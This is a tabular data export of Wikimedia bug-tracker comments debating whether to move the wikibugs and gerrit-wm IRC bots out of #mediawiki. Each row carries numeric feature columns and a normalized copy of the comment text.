220473,Move wikibugs and gerrit-wm out of #mediawiki,Related URL: https://gerrit.wikimedia.org/r/58661 (Gerrit Change I588f2eba8fba9603f33386e54e90c03e2bb5f5f0),,,1365657530,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I588f2eba8fba9603f33386e54e90c03e2bb5f5f0)
220467,Move wikibugs and gerrit-wm out of #mediawiki,"(In reply to comment #6)
> Ori submitted I10a02bfe to get this done when there is approval.

I'd say, why can't we do both? Lets first move it out of #mediawiki. That is something we all agree upon.

We'll keep it in regular talk channels for now (#wikimedia-dev).

If we believe that it is disturbing even in a developer-oriented channel (which I'm sure it won't) then we can choose to create a separate channel, but going all the way at once is unnecessary and only creates more chaos.",,,1365475852,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-12,,1.5,0.5,0.0,0.0,1.5,4.5,1.0,0.0,0.0,1.0,2.0,3.5,0.0,1.0,0.0,5.0,1.0,6.5,8.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,1.0,3.0,2.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,1.0,8.0,0.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,3.0,2.5,5.0,3.0,2.0,6.0,0.0,0.0,0.0,1.5,4.5,0.0,0.5,0.0,7.5,8.0,0.5,0.5,0.0,0.0,7.5,0.0,1.5,2.0,0.0,2.0,1.0,0.0,0.0,3.3396226415094343,0.8584905660377359,"(In reply to comment #6)
QUOTE

I'd say, why can't we do both? Lets first move it out of #mediawiki. That is something we all agree upon.

We'll keep it in regular talk channels for now (#wikimedia-dev).

If we believe that it is disturbing even in a developer-oriented channel (which I'm sure it won't) then we can choose to create a separate channel, but going all the way at once is unnecessary and only creates more chaos."
220460,Move wikibugs and gerrit-wm out of #mediawiki,Ori submitted I10a02bfe to get this done when there is approval.,,,1365203853,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Ori submitted I10a02bfe to get this done when there is approval.
220454,Move wikibugs and gerrit-wm out of #mediawiki,"I wrote this before: Could we move this debate to its target audience somehow, as I'm afraid that it won't be seen in this Bugzilla report?
I understand that's hard for IRC, but maybe a generic mailing list or RFC? 
I don't see much sense battling here.",,,1363769474,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-15,,2.0,0.0,0.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,8.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,8.0,5.0,3.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5254237288135593,0.8305084745762712,"I wrote this before: Could we move this debate to its target audience somehow, as I'm afraid that it won't be seen in this Bugzilla report?
I understand that's hard for IRC, but maybe a generic mailing list or RFC? 
I don't see much sense battling here."
220447,Move wikibugs and gerrit-wm out of #mediawiki,"(In reply to comment #3)
> #wikimedia-dev is not Wikimedia deployment specific development. It is
> development of software used by Wikimedia, which all of MediaWiki is
> obviously part of at least as long as either MediaWiki is a Wikimedia
> Foundation project and Wikipedia.org runs on MediaWiki. Regardless of
> whether our staff maintains it or not.

This is insane. Are you hearing yourself?

>> I'd much prefer #mediawiki-feeds.
> 
> For what reason? Because you don't want to see it in channels that you're in?

Because it's the least bad option (other than keeping the bots in #mediawiki).

> In that case we move it out of channels not meant for developers only
> (#mediawiki) and into #wikimedia-dev where it is reasonable to ask you to use
> /ignore if you don't like it.

This doesn't make any sense. What's accomplished here?

> If you do find them useful, then how are they useful in a separate channel?
> You'd have to manually check up there to see for anything. I don't think that
> works well in practice. The whole idea of being exposed to other people's
> activities casually (without actively looking for it) wouldn't exist anymore
> then I believe.

That's a reason to either keep the bots in #mediawiki or not. Moving them to a separate discussion channel solves nothing.

> Besides, what about the channels for operations, visualeditor, parsoid,
> mobile.
> They all have bots related to their activities, because it makes sense to
> have it in the same channel so you're exposed to each others activities and
> can jump into things when they come by. Separating it out is
> counter-intuitive.

What about them? You're the one conflating gerrit-wm and wikibugs and then complaining about the two being conflated. wikibugs is only in #mediawiki and was the subject of its own discussion before you created this bug. gerrit-wm is in multiple channels already and serves a different purpose from wikibugs.",,,1363752509,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,False,,,-15,,0.5,0.0,0.0,0.5,1.0,3.5,2.0,0.5,0.0,0.0,2.5,1.0,0.0,0.5,0.0,0.0,1.0,3.5,8.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,1.0,1.5,2.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,14.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.5,0.5,3.5,7.5,0.0,0.0,0.0,2.0,1.5,0.0,1.5,0.0,4.5,8.0,8.0,1.5,0.0,0.0,4.5,0.0,1.0,1.5,1.5,2.5,0.0,0.5,0.0,3.75,0.5666666666666667,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is insane. Are you hearing yourself?

QUOTE
QUOTE
QUOTE

Because it's the least bad option (other than keeping the bots in #mediawiki).

QUOTE
QUOTE
QUOTE

This doesn't make any sense. What's accomplished here?

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's a reason to either keep the bots in #mediawiki or not. Moving them to a separate discussion channel solves nothing.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What about them? You're the one conflating gerrit-wm and wikibugs and then complaining about the two being conflated. wikibugs is only in #mediawiki and was the subject of its own discussion before you created this bug. gerrit-wm is in multiple channels already and serves a different purpose from wikibugs."
220439,Move wikibugs and gerrit-wm out of #mediawiki,"(In reply to comment #2)
> I don't think #wikimedia-dev should exist.
> Moving MediaWiki development bots to a Wikimedia channel is pretty wrong.
> 

#wikimedia-dev is not Wikimedia deployment specific development. It is development of software used by Wikimedia, which all of MediaWiki is obviously part of at least as long as either MediaWiki is a Wikimedia Foundation project and Wikipedia.org runs on MediaWiki. Regardless of whether our staff maintains it or not.

#wikimedia-dev should exist by all means, it isn't specific but broad. Perhaps too broad, but that's why we have specific channels for teams that prefer their own area:
- operations, visualeditor, parsoid, mobile, i18n.

A #mediawiki-dev could exist leaving #wikimedia-dev with only non-MediaWiki related dev stuff, but that would be rather narrow. There is no justification to split it up right now I think. It isn't too crowded and splitting it up would go at the cost of more decentralisation and less integrated communication.

> I'd much prefer #mediawiki-feeds.

For what reason? Because you don't want to see it in channels that you're in?

In that case we move it out of channels not meant for developers only (#mediawiki) and into #wikimedia-dev where it is reasonable to ask you to use /ignore if you don't like it.

If you do find them useful, then how are they useful in a separate channel? You'd have to manually check up there to see for anything. I don't think that works well in practice. The whole idea of being exposed to other people's activities casually (without actively looking for it) wouldn't exist anymore then I believe.

Besides, what about the channels for operations, visualeditor, parsoid, mobile. They all have bots related to their activities, because it makes sense to have it in the same channel so you're exposed to each others activities and can jump into things when they come by. Separating it out is counter-intuitive.",,,1363709152,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-15,,1.0,0.25,0.0,0.25,2.25,6.75,1.25,0.5,0.0,0.5,2.25,2.25,0.0,0.5,0.25,1.5,0.25,9.0,14.5,0.25,2.0,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,7.0,2.75,3.5,0.75,1.75,0.0,0.25,0.5,0.75,0.25,1.5,0.25,2.0,0.0,0.25,0.25,0.25,0.0,12.0,0.75,0.25,0.5,0.5,0.0,0.5,0.0,0.25,0.25,0.25,0.0,1.0,0.25,1.25,0.5,0.25,0.0,1.75,3.0,8.0,3.0,2.5,4.25,0.0,0.0,0.0,1.75,4.75,0.0,0.25,0.0,8.5,14.5,2.75,0.75,0.0,0.0,8.5,0.0,2.0,0.75,0.25,1.0,0.5,0.25,0.0,3.9823348264277714,0.720464725643897,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

#wikimedia-dev is not Wikimedia deployment specific development. It is development of software used by Wikimedia, which all of MediaWiki is obviously part of at least as long as either MediaWiki is a Wikimedia Foundation project and Wikipedia.org runs on MediaWiki. Regardless of whether our staff maintains it or not.

#wikimedia-dev should exist by all means, it isn't specific but broad. Perhaps too broad, but that's why we have specific channels for teams that prefer their own area:
- operations, visualeditor, parsoid, mobile, i18n.

A #mediawiki-dev could exist leaving #wikimedia-dev with only non-MediaWiki related dev stuff, but that would be rather narrow. There is no justification to split it up right now I think. It isn't too crowded and splitting it up would go at the cost of more decentralisation and less integrated communication.

QUOTE

For what reason? Because you don't want to see it in channels that you're in?

In that case we move it out of channels not meant for developers only (#mediawiki) and into #wikimedia-dev where it is reasonable to ask you to use /ignore if you don't like it.

If you do find them useful, then how are they useful in a separate channel? You'd have to manually check up there to see for anything. I don't think that works well in practice. The whole idea of being exposed to other people's activities casually (without actively looking for it) wouldn't exist anymore then I believe.

Besides, what about the channels for operations, visualeditor, parsoid, mobile. They all have bots related to their activities, because it makes sense to have it in the same channel so you're exposed to each others activities and can jump into things when they come by. Separating it out is counter-intuitive."
220431,Move wikibugs and gerrit-wm out of #mediawiki,"I don't think #wikimedia-dev should exist.

Moving MediaWiki development bots to a Wikimedia channel is pretty wrong. I'd much prefer #mediawiki-feeds.",,,1363707120,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,False,,,-15,,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.0,0.8484848484848485,"I don't think #wikimedia-dev should exist.

Moving MediaWiki development bots to a Wikimedia channel is pretty wrong. I'd much prefer #mediawiki-feeds."
220424,Move wikibugs and gerrit-wm out of #mediawiki,"Aggregating various arguments that apply generally to moving them out (as opposed to moving any specific bot):

(Quote bug 46282 comment #0)
> The only times I've found it useful is when I was live reviewing and wanted
> to point someone to a change/comment I made.

(Quote bug 46282 comment #1)
> Use /ignore in your favorite IRC client. Works well.

(Quote bug 46282 comment #2)
> I disagree with ""it's completely useless"", but in this case, when someone
> knows he is going to spam the channel and has op on #mediawiki, he should
> have quieted [the bot] before sending all those changes.

(Quote bug 46282 comment #6)
> We're going to move both. Need puppet changes.


(Quote bug 46144 comment 5)
> We actively had a user saying ""This channel obviously isn't for support...two
> pages of scrollback and I've spotted 2 real people."" This is a bad thing,
> contrary to what you may think.
> 
> We've had *contributors* complaining about the bot(s) for the past couple of
> months/years.
> 
> I really don't think two/three people saying ""I LIKE THE BOT IN #MEDIAWIKI SO
> LEAVE IT THE HELL ALONE"" trumps the wider problems here...that the bot
> *needs*
> to go.

(Quote bug 46144 comment 8)
> Lets take this the mailing list again...
> 
> (But my two cents)
> If we kick any single bot, Gerrit produces a-lot more cruft lately than
> wikibugs... I, as having pointed out would prefer them all in a separate
> channel that is moderated and only the bots are voiced.

(Quote bug 46144 comment 19)
> (Quote bug 46144 comment 18)
> > That's not a valid reason, imho. We need a way to tone down what it reports,
> > if
> > it's going to stay...the rate of bug reporting & commenting is many times
> > greater than it once was. It's definitely gotten noisier over the years,
> > which
> > has reduced its utility.
> 
> Reduced it's utility -> in the main support channel. The bot *is* useful, I
> just think it drowns out conversation these days.

(Quote bug 46144 comment 26)
> What about moving them to #wikimedia-dev instead of #mediawiki?
> 
> I think most (actively involved) developers that are on IRC aren't disturbed
> by
> the feed. If they really must they're experienced enough to not be afraid of
> a
> simple /ignore.
> 
> Though I speak only for myself, I believe those that do want the feed, would
> prefer it to be in context of regular conversation, not in a separate
> channel.
> 
> It's where random bits of interesting things come by from (e.g. discussing a
> change, proposing and and then someone does it or files a bug about it).
> 
> It doesn't work when in a separate channel.
> 
> See also #mediawiki-parsoid, #mediawiki-visualeditor, #wikimedia-operations,
> #wikimedia-mobile etc. (and same for third parties such as #jquery-dev and
> webkit).
> 
> The problem is mainly with #mediawiki being a support channel instead of dev
> channel, not with having notifications in a human-occupied irc channel in
> general.",,,1363699938,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-15,,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,27.333333333333332,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,2.6666666666666665,2.6666666666666665,5.333333333333333,0.0,0.3333333333333333,1.3333333333333333,19.666666666666668,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,3.211662276851039,0.2614866842259292,"Aggregating various arguments that apply generally to moving them out (as opposed to moving any specific bot):

(Quote bug 46282 comment #0)
QUOTE
QUOTE

(Quote bug 46282 comment #1)
QUOTE

(Quote bug 46282 comment #2)
QUOTE
QUOTE
QUOTE

(Quote bug 46282 comment #6)
QUOTE


(Quote bug 46144 comment 5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

(Quote bug 46144 comment 8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

(Quote bug 46144 comment 19)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

(Quote bug 46144 comment 26)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
48144,Move wikibugs out of #mediawiki to #wikimedia-dev,"wikibugs has gone missing from #mediawiki.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://www.mediawiki.org/wiki/Git/IRC
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=28402",Low,25.0,1363319760,1398197844.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hd4snxw47ckt4oowe3xb,task_description,resolved,True,c1,1,False,False,False,-16,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.25,0.45454545454545453,"wikibugs has gone missing from #mediawiki.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
210592,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #31)
> @Nemo, this bug is about wikibugs. Though some related change has been
> merged,
> wikibugs is not yet run from puppet so that change is irrelevant until that
> is
> activated.

Current status is also discussed in https://gerrit.wikimedia.org/r/#/c/54984",,,1381952272,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.6923076923076923,"(In reply to comment #31)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Current status is also discussed in URL"
210587,Move wikibugs out of #mediawiki to #wikimedia-dev,"As this came up in the IRC office hour today, wondering whether to go via an RFC for this.",,,1373991340,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,5.0,0.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,33.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.4285714285714284,0.9523809523809523,"As this came up in the IRC office hour today, wondering whether to go via an RFC for this."
210582,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #39)
> Whose blood do I sacrifice to have this happen?

How about this, instead:

(In reply to comment #21)
> We could schedule an IRC meeting, announce it ia wikitech-l mailing list, and
> tally votes/opinions on a wiki page.",,,1371792126,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.6,"(In reply to comment #39)
QUOTE

How about this, instead:

(In reply to comment #21)
QUOTE
QUOTE"
210577,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #40)
> Chad's?

No, not me. I tried to move it out of #mediawiki, but people yelled at me. I don't care about this bot anymore.

Removing myself from CC.",,,1371783597,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,11.0,0.0,6.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,2.0,0.0,13.0,17.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,3.0,0.8085106382978723,"(In reply to comment #40)
QUOTE

No, not me. I tried to move it out of #mediawiki, but people yelled at me. I don't care about this bot anymore.

Removing myself from CC."
210571,Move wikibugs out of #mediawiki to #wikimedia-dev,Chad's?,,,1371778738,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,Chad's?
210563,Move wikibugs out of #mediawiki to #wikimedia-dev,Whose blood do I sacrifice to have this happen?,,,1371739659,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,Whose blood do I sacrifice to have this happen?
210555,Move wikibugs out of #mediawiki to #wikimedia-dev,(Updating summary to make it easier to search this bug),,,1367252699,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,3.8333333333333335,0.9166666666666666,(Updating summary to make it easier to search this bug)
210549,Move wikibugs out of #mediawiki to #wikimedia-dev,"Sooo... it's still in #mediawiki, and not in #wikimedia-dev. Does it need additional poking?

[Personally I prefer the bots in #mediawiki, but it sounds like I've lost this fight. :)]",,,1367252671,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,4.0,4.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,11.0,9.0,4.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.369565217391304,0.782608695652174,"Sooo... it's still in #mediawiki, and not in #wikimedia-dev. Does it need additional poking?

[Personally I prefer the bots in #mediawiki, but it sounds like I've lost this fight. :)]"
210544,Move wikibugs out of #mediawiki to #wikimedia-dev,"sorry, one last time",,,1366673117,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"sorry, one last time"
